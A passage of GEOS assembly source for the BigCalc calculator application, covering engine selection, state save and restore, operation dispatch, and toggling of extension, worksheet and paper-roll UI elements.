mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT
mov bp, VUM_DELAYED_VIA_APP_QUEUE
call callPointTrigger
pop bp, cx
done:
.leave
ret
callPointTrigger:
mov di, mask MF_CALL
mov bx, handle ButtonPoint
mov si, offset ButtonPoint ;^lbx:si <- OD of trigger
call ObjMessage
retn
BigCalcProcessLocalize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessSetEngineOffset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: sets the math engine
CALLED BY: BigCalcProcessOpenApplication
PASS: ES = DGroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessSetEngineOffset proc near
uses ax,bx,cx,dx,si,di,bp
.enter
mov bx, handle ModeItemGroup
mov si, offset ModeItemGroup
mov di, mask MF_CALL
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjMessage
cmp ax, CM_RPN
if _RPN_CAPABILITY
mov ax, offset BigCalcRPNEngine
endif
je setEngine
mov ax, offset BigCalcInfixEngine
setEngine:
mov ss:[engineOffset], ax
.leave
ret
BigCalcProcessSetEngineOffset endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessBringUpAllDescriptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: brings up the descriptions of the worksheets
CALLED BY: BigCalcProcessOpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/15/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessBringUpAllDescriptions proc near
uses ax,cx,dx,bp
.enter
mov bx, handle SalesChooser
mov si, offset SalesChooser
clr di
mov cx, PCFID_SALES_TAX
mov ax, MSG_PCF_CHOOSER_CHANGE_DESCRIPTION
call ObjMessage
mov bx, handle SSheetChooser
mov si, offset SSheetChooser
clr di
mov cx, PCFID_CTERM
call ObjMessage
if _STATISTICAL_FORMS
mov bx, handle StatsChooser
mov si, offset StatsChooser
clr di
mov cx, PCFID_SUM
call ObjMessage
endif ;if _STATISTICAL_FORMS
mov bx, handle ConsumerChooser
mov si, offset ConsumerChooser
clr di
mov cx, PCFID_CAR_MILAGE
call ObjMessage
.leave
ret
BigCalcProcessBringUpAllDescriptions endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessRestoreFromState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: restores from state
CALLED BY:
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
es = segment of BigCalcProcessClass
ax = message #
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/28/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (NOT FALSE)
BigCalcProcessRestoreFromState method dynamic BigCalcProcessClass,
MSG_GEN_PROCESS_RESTORE_FROM_STATE
uses ax, cx, dx, bp
.enter
push ds
mov bx, bp
call MemLock
mov ds, ax
mov ax, ds:[0]
mov ss:[extensionState], ax
mov ax, ds:[2]
mov ss:[calculatorMode], ax
mov al, ds:[4]
mov ss:[inverse], al
call MemUnlock
mov ss:[restoringFromState], TRUE
pop ds
mov ax, MSG_GEN_PROCESS_RESTORE_FROM_STATE
mov di, offset BigCalcProcessClass
call ObjCallSuperNoLock
mov bx, handle BigCalcNumberDisplay
mov si, offset BigCalcNumberDisplay
mov bp, offset textBuffer
mov dx, ss
SBCS< mov {char} ss:[bp], '0' >
DBCS< mov {wchar} ss:[bp], '0' >
mov cx, 1
mov di, mask MF_CALL
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
call ObjMessage
.leave
ret
BigCalcProcessRestoreFromState endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessCloseApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: XX will save the state at some point...
CALLED BY:
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
ax = message #
RETURN: cx = handle of extra state block
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 3/ 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (NOT FALSE)
BigCalcProcessCloseApplication method dynamic BigCalcProcessClass,
MSG_GEN_PROCESS_CLOSE_APPLICATION
;
; free the floating point stack
;
call FloatExit
;
; Save out some extra state
;
mov ax, 5
mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK
call MemAlloc ; handle => BX,
; segment => AX
mov ds, ax
mov ax, ss:[extensionState]
mov ds:[0], ax
mov ax, ss:[calculatorMode]
mov ds:[2], ax
mov al, ss:[inverse]
mov ds:[4], al
call MemUnlock
mov cx, bx ; extra state block => CX
ret
BigCalcProcessCloseApplication endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BCPButtonZzzPressed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Called when the 000 button is pressed in the DOVE
version of the calculator. Fakes three '0' button
presses.
CALLED BY: MSG_BCP_BUTTON_ZZZ_PRESSED
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
es = segment of BigCalcProcessClass
ax = message #
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
andres 10/30/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessOperation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: sends the opertaion to the approprite engine (RPN/Infix)
CALLED BY: various trigegrs on the calculator
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
es = dgroup
ax = message #
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
looks at the global variable and determines from there where
the arithmetic message will be sent
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 3/17/92 Initial version
EC 5/24/96 Added display requirements for different
operators [Penelope]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (NOT FALSE)
BigCalcProcessOperation method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CLEAR_ALL,
MSG_BC_PROCESS_PLUS,
MSG_BC_PROCESS_Y_TO_X,
MSG_BC_PROCESS_MINUS,
MSG_BC_PROCESS_ONE_OVER,
MSG_BC_PROCESS_TIMES,
MSG_BC_PROCESS_SQUARE,
MSG_BC_PROCESS_DIVIDE,
MSG_BC_PROCESS_SQUARE_ROOT,
MSG_BC_PROCESS_ENTER,
MSG_BC_PROCESS_PERCENT,
MSG_BC_PROCESS_PLUSMINUS,
MSG_BC_PROCESS_INVERSE,
MSG_BC_PROCESS_SINE,
MSG_BC_PROCESS_COSINE,
MSG_BC_PROCESS_TANGENT,
MSG_BC_PROCESS_LN,
MSG_BC_PROCESS_LOG,
MSG_BC_PROCESS_PI,
MSG_BC_PROCESS_E,
MSG_BC_PROCESS_FACTORIAL,
MSG_BC_PROCESS_ARC_SINE,
MSG_BC_PROCESS_ARC_COSINE,
MSG_BC_PROCESS_ARC_TANGENT,
MSG_BC_PROCESS_E_TO_X,
MSG_BC_PROCESS_TEN_TO_X,
MSG_BC_PROCESS_PI_OVER_TWO,
MSG_BC_PROCESS_LEFT_PAREN,
MSG_BC_PROCESS_RIGHT_PAREN,
MSG_BC_PROCESS_SWAP,
MSG_BC_PROCESS_ROLL_DOWN,
MSG_BC_PROCESS_DISPLAY_CONSTANT_TOP_OF_STACK,
MSG_BC_PROCESS_CONVERT
uses ax
.enter
;
; save message
;
push ax,cx
mov bx, handle BigCalcNumberDisplay
mov si, offset BigCalcNumberDisplay
if 0 ; This logic has been moved to
; CalcInputFieldVisTextFilterViaBeforeAfter. -dhunter 9/11/00
mov di, mask MF_FIXUP_DS
mov ax, MSG_CALC_IF_CHECK_ENTER_BIT
call ObjMessage
jnc doOperation
call BigCalcProcessPreFloatDup
call FloatDup
doOperation:
endif
mov di, mask MF_FIXUP_DS
mov ax, MSG_CALC_IF_CLEAR_ENTER_BIT
call ObjMessage
;
; retrieve message
;
pop ax,cx
;
; HACK!!!!!!!
;
; the ordering of all the MSG_BC_PROCESS_operation is the exact
; the same as the MSG_CE_opertion so the ax we want is achieved
; by the add down below
;
add ax, MSG_CE_PLUS - MSG_BC_PROCESS_PLUS
mov bx, handle CalcResource
mov si, ss:[engineOffset]
clr di
call ObjMessage
; plus-minus should not close out an operation
cmp ax, MSG_CE_PLUSMINUS
LONG jz done
if (NOT FALSE)
call BigCalcProcessDisplayLineOnPaperTape
endif
call CEDisplayTopOfStack
if (NOT FALSE)
call CEDisplayOnPaperTapeWithDXBP
endif
mov bx, handle BigCalcNumberDisplay
mov si, offset BigCalcNumberDisplay
mov di, mask MF_FIXUP_DS
mov ax, MSG_CALC_IF_SET_OP_DONE_BIT
call ObjMessage
done:
.leave
ret
BigCalcProcessOperation endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessDisplayLineOnPaperTape
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: displays a line on the papertape
CALLED BY:
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessDisplayLineOnPaperTape proc near
uses ax,bx,cx,dx,si,di,bp
.enter
mov bx, handle CalcResource
mov si, offset BigCalcPaperRoll
mov di, mask MF_CALL
mov ax, MSG_GEN_GET_USABLE
call ObjMessage
jnc done
mov dx, bx
mov bp, offset PaperRollLine
clr cx, di
mov ax, MSG_VIS_TEXT_APPEND_OPTR
call ObjMessage
clr di
mov ax, MSG_PAPER_ROLL_CHECK_LENGTH
call ObjMessage
done:
.leave
ret
BigCalcProcessDisplayLineOnPaperTape endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessClear
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: clears the math engine
CALLED BY:
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
es = dgroup
ax = message #
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 4/14/92 Initial version
andres 9/24/96 Fix to always display 0 in digital
display
andres 9/30/96 Set firstDigitOfNewOperand flag
andres 10/17/96 clear PFR_replaceOp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessClear method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CLEAR
uses ax, cx, dx, bp
.enter
mov bx, handle CalcResource
GetResourceSegmentNS dgroup, es
mov si, ss:[engineOffset]
clr di
mov ax, MSG_CE_CLEAR
call ObjMessage
.leave
ret
BigCalcProcessClear endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessChangeMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: changes the calculator mode
CALLED BY:
PASS: ds,es = dgroup
cx = CalculatorMode to switch to
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 4/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _RPN_CAPABILITY
BigCalcProcessChangeMode method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CHANGE_MODE
uses ax, cx, dx, bp
.enter
mov ss:[calculatorMode], cx
mov ax, MSG_CE_SET_RPN_MODE
cmp cx, CM_RPN
je setMode
mov ax, MSG_CE_SET_INFIX_MODE
setMode:
mov bx, handle CalcResource
mov si, ss:[engineOffset]
; mov si, offset BigCalcInfixEngine
clr di
call ObjMessage
; Tell the application object that a user option has changed
;
call BigCalcNotifyOptionsChange
.leave
ret
BigCalcProcessChangeMode endm
endif ;if _RPN_CAPABILITY
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessUpdateNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: updates the number in the display according to the setting
in the Customize box
CALLED BY: MSG_BC_PROCESS_UPDATE_NUMBER
PASS: *ds:si = BigCalcProcessClass object
ds:di = BigCalcProcessClass instance data
ds:bx = BigCalcProcessClass object (same as *ds:si)
es = segment of BigCalcProcessClass
ax = message #
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 3/26/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessUpdateNumber method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_UPDATE_NUMBER
.enter
;
; Reset the display
;
call CEDisplayTopOfStack
;
; Tell the application object that a user option has changed
;
call BigCalcNotifyOptionsChange
.leave
ret
BigCalcProcessUpdateNumber endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessChangeExtensionsState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the state of the various extensions (Math, Scientific)
CALLED BY: UI
PASS: ds,es = dgroup
cx = ExtensionType
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/7/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessChangeExtensionsState method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CHANGE_EXTENSIONS_STATE
uses ax, bx, dx, di, si
.enter
;
; First check to see what to do about the math extensions
;
cmp cx, ds:[extensionState]
pushf ; save results - used later!
mov ds:[extensionState], cx
mov ax, offset BigCalcProcessSetNotUsable
test cx, mask EXT_MATH
jz setMathState
mov ax, offset BigCalcProcessSetUsable
setMathState:
mov bx, handle CalcResource
mov si, offset CalcResource:ButtonOneOver
call ax
mov si, offset CalcResource:ButtonPercent
call ax
mov si, offset CalcResource:ButtonSquare
call ax
mov si, offset CalcResource:ButtonSquareRoot
call ax
;
; Need to be careful here, since the parens share the
; same keypad space as two keys in RPN mode. So..., if
; we are in RPN mode, we don't change anything.
;
cmp ds:[calculatorMode], CM_RPN
je checkScientific
mov si, offset CalcResource:ButtonLeftParen
call ax
mov si, offset CalcResource:ButtonRightParen
call ax
;
; Now check to see what to do about the scientific extensions
;
checkScientific:
if _SCIENTIFIC_REP
mov ax, offset BigCalcProcessSetNotUsable
test cx, mask EXT_SCIENTIFIC
jz setScientificState
mov ax, offset BigCalcProcessSetUsable
setScientificState:
mov bx, handle ExtensionResource
mov si, offset ExtensionResource:DegreeItemGroup
call ax
mov si, offset ExtensionResource:SciKeyPad
call ax
endif
;
; Queue a message to reset the geometry, but *only* if
; we are moving to a reduced set of extensions (i.e. from
; scientific down to math, or from math down to none).
; Luckily, detecting this is easy, based upon a comparison
; with the original extension state. We only bother to do
; this to avoid screen flashing on starting up when something
; other than the default configuration (minimal) has been selected
; by the user.
;
popf ; if moving to a higher level
jae doNotify ; ...of extensions, skip reset
mov ax, MSG_GEN_RESET_TO_INITIAL_SIZE
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov bx, handle BigCalcPrimary
mov si, offset BigCalcPrimary
mov di, mask MF_FORCE_QUEUE or \
mask MF_CHECK_DUPLICATE
call ObjMessage
;
; Tell the application object that a user option has changed
;
doNotify:
call BigCalcNotifyOptionsChange
.leave
ret
BigCalcProcessChangeExtensionsState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessChangeWorksheetsState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the state (on/off) of the worksheets
CALLED BY: UI
PASS: ds,es = dgroup
cx = Boolean (TRUE = on, FALSE = off)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/7/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessChangeWorksheetsState method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CHANGE_WORKSHEETS_STATE
uses ax, bx, dx, di, si
.enter
;
; Set usable or not the set of worksheets
;
mov ax, offset BigCalcProcessSetNotUsable
tst cx
jz setState
mov ax, offset BigCalcProcessSetUsable
setState:
mov bx, handle BigCalcBottomRowInteraction
mov si, offset BigCalcBottomRowInteraction
call ax
mov si, offset BigCalcBottomRowSeparator
call ax
;
; Queue a message to reset the geometry
;
mov ax, MSG_GEN_RESET_TO_INITIAL_SIZE
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov bx, handle BigCalcPrimary
mov si, offset BigCalcPrimary
mov di, mask MF_FORCE_QUEUE or \
mask MF_CHECK_DUPLICATE
call ObjMessage
;
; Tell the application object that a user option has changed
;
call BigCalcNotifyOptionsChange
.leave
ret
BigCalcProcessChangeWorksheetsState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessChangePaperRollState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the state (on/off) of the paper roll
CALLED BY: UI
PASS: ds,es = dgroup
cx = Boolean (TRUE = on, FALSE = off)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/7/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessChangePaperRollState method dynamic BigCalcProcessClass,
MSG_BC_PROCESS_CHANGE_PAPER_ROLL_STATE
uses ax, bx, dx, di, si
.enter
;
; Set usable or not the paper roll & the trigger
; that clears the contents of the roll
;
mov ax, offset BigCalcProcessSetNotUsable
tst cx
jz setState
mov ax, offset BigCalcProcessSetUsable
setState:
mov bx, handle BigCalcPaperRoll
mov si, offset BigCalcPaperRoll
call ax
mov bx, handle ClearPaperRollButton
mov si, offset ClearPaperRollButton
call ax
;
; Queue a message to reset the geometry
;
mov ax, MSG_GEN_RESET_TO_INITIAL_SIZE
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov bx, handle BigCalcPrimary
mov si, offset BigCalcPrimary
mov di, mask MF_FORCE_QUEUE or \
mask MF_CHECK_DUPLICATE
call ObjMessage
;
; Tell the application object that a user option has changed
;
call BigCalcNotifyOptionsChange
.leave
ret
BigCalcProcessChangePaperRollState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessSetUsable
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: sets the object that's passed in bx:si usable
CALLED BY:
PASS: bx -- handle of the object
si -- offset of the object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 4/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessSetUsable proc near
uses ax,cx,dx,di,bp
.enter
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov ax, MSG_GEN_SET_USABLE
clr di
call ObjMessage
.leave
ret
BigCalcProcessSetUsable endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessSetNotUsable
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: sets the object in bx:si not usable
CALLED BY:
PASS: bx:si object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 4/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessSetNotUsable proc near
uses ax,bx,cx,dx,si,di,bp
.enter
mov dl, VUM_DELAYED_VIA_APP_QUEUE
mov ax, MSG_GEN_SET_NOT_USABLE
clr di
call ObjMessage
.leave
ret
BigCalcProcessSetNotUsable endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcNotifyOptionsChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Notify the application object of a user-option change
CALLED BY: Various
PASS: Nothing
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/7/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcNotifyOptionsChange proc near
uses ax, bx, di, si
.enter
mov ax, MSG_GEN_APPLICATION_OPTIONS_CHANGED
GetResourceHandleNS BigCalculatorAppObj, bx
mov si, offset BigCalculatorAppObj
clr di
call ObjMessage
.leave
ret
BigCalcNotifyOptionsChange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CustBoxGetSettings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: gets the settings
CALLED BY:
PASS: *ds:si = CustBoxClass object
ds:di = CustBoxClass instance data
ds:bx = CustBoxClass object (same as *ds:si)
es = dgroup
ax = message #
RETURN: ax, cx (=bx) to be used for FloatFloatToAsciiStd_Format
cl = MAX_DISPLAYABLE_LENGTH
ch = DECIMAL_PRECISION
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/12/92 Initial version
AS 8/29/96 Added code for PENELOPE version that
interperts 0 fixed decimals as round
to nearest integer, and adds the
"don't use fixed decimals"
functionality
andres 10/29/96 Don't need this for DOVE
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CustBoxGetSettings method dynamic CustBoxClass,
MSG_CUST_BOX_GET_SETTINGS
uses dx, bp
.enter
;
; get the # of digits after decimal point to put them in bl
;
mov si, offset DecimalPlacesRange
mov ax, MSG_GEN_VALUE_GET_VALUE
call ObjCallInstanceNoLock ; decimal places -> dx
mov bl, dl
mov bh, DECIMAL_PRECISION
push bx
mov si, offset NotationItemGroup
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock
cmp ax, DU_SCIENTIFIC
je sciNotation
clr ax
jmp convert
sciNotation:
mov ax, mask FFAF_SCIENTIFIC
convert:
;
; get the fp# from the stack (and pop it)
;
pop cx ; # of digits
tst cl
jnz notZeroDigits
mov cl, MAX_DISPLAYABLE_LENGTH
ornf ax, mask FFAF_NO_TRAIL_ZEROS
notZeroDigits:
.leave
ret
CustBoxGetSettings endm
COMMENT @%%%%%%%%% RESPONDER/NON-RESPONDER COMMON CODE %%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessPreFloatDup
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: utility function for proper fp calculation
CALLED BY: global
PASS: nothing
RETURN: fp stack unchanged if not empty
zero on top if empty
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/13/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BigCalcProcessPreFloatDup proc far
uses ax,dx
.enter
call FloatDepth
tst ax
jnz done
call Float0
done:
.leave
ret
BigCalcProcessPreFloatDup endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BigCalcProcessConvertToUpper
